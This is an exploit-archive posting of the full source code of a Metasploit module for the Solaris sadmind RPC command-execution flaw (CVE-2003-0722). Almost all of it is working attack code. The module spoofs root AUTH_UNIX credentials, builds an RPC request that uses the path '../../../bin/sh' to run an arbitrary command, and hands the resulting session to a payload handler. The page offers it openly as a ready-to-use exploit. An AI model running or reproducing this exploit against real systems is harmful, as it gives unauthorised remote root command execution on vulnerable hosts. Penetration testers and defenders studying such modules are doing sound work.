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Solaris sadmind Command Execution

Solaris sadmind Command Execution
Posted Oct 28, 2009
Authored by H D Moore, cazz, vlad902 | Site metasploit.com

This exploit targets a weakness in the default security settings of the sadmind RPC application. This server is installed and enabled by default on most versions of the Solaris operating system. Vulnerable systems include solaris 2.7, 8, and 9.

tags | exploit
systems | solaris
advisories | CVE-2003-0722
SHA-256 | 14557b273499a2ea3ee86d39d208d2b582a750cf286e96ff62c3dd367eac0d64

Solaris sadmind Command Execution

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::SunRPC

def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris sadmind Command Execution',
'Description' => %q{
This exploit targets a weakness in the default security
settings of the sadmind RPC application. This server is
installed and enabled by default on most versions of the
Solaris operating system.

Vulnerable systems include solaris 2.7, 8, and 9
},
'Author' => [ 'vlad902 <vlad902@gmail.com>', 'hdm', 'cazz' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2003-0722'],
['OSVDB', '4585'],
['BID', '8615'],
['URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'],
],
'Privileged' => true,
'Platform' => ['unix', 'solaris'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' => [ ['Automatic', { }], ],
'DisclosureDate' => 'Sep 13 2003',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('HOSTNAME', [false, 'Remote hostname', nil]),
OptInt.new('GID', [false, 'GID to emulate', 0]),
OptInt.new('UID', [false, 'UID to emulate', 0])
], self.class
)
end

def exploit
sunrpc_create('udp', 100232, 10)
sunrpc_authunix('localhost', datastore['UID'], datastore['GID'], [])

if !datastore['HOSTNAME']
print_status('attempting to determine hostname')
response = sadmind_request(rand_text_alpha(rand(10) + 1), "true")

if !response
print_error('no response')
return
end

match = /Security exception on host (.*)\. USER/.match(response)
if match
hostname = match.captures[0]
print_status("found hostname: #{hostname}")
else
print_error('unable to determine hostname')
return
end
else
hostname = datastore['HOSTNAME']
end

response = sadmind_request(hostname, payload.encoded)
sunrpc_destroy

if /Security exception on host/.match(response)
print_error('exploit failed')
return
else
print_good('exploit did not give us an error, this is good...')
sleep(1)
handler
end
end

def sadmind_request(host, command)
header =
XDR.encode(0) * 7 +
XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10, \
4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0, \
host, 'system', '../../../bin/sh')

body =
do_int('ADM_FW_VERSION', 1) +
do_string('ADM_LANG', 'C') +
do_string('ADM_REQUESTID', '00009:000000000:0') +
do_string('ADM_CLASS', 'system') +
do_string('ADM_CLASS_VERS', '2.1') +
do_string('ADM_METHOD', '../../../bin/sh') +
do_string('ADM_HOST', host) +
do_string('ADM_CLIENT_HOST', host) +
do_string('ADM_CLIENT_DOMAIN', '') +
do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
do_int('ADM_FENCE', 0) +
do_string('X', '-c') +
do_string('Y', command) +
XDR.encode('netmgt_endofargs')

request = header + XDR.encode(header.length + body.length - 326) + body

ret = sunrpc_call(1, request)
return XDR.decode!(ret, Integer, Integer, String)[2]
end

def do_string(str1, str2)
XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
end

def do_int(str, int)
XDR.encode(str, 3, 4, int, 0, 0)
end
end

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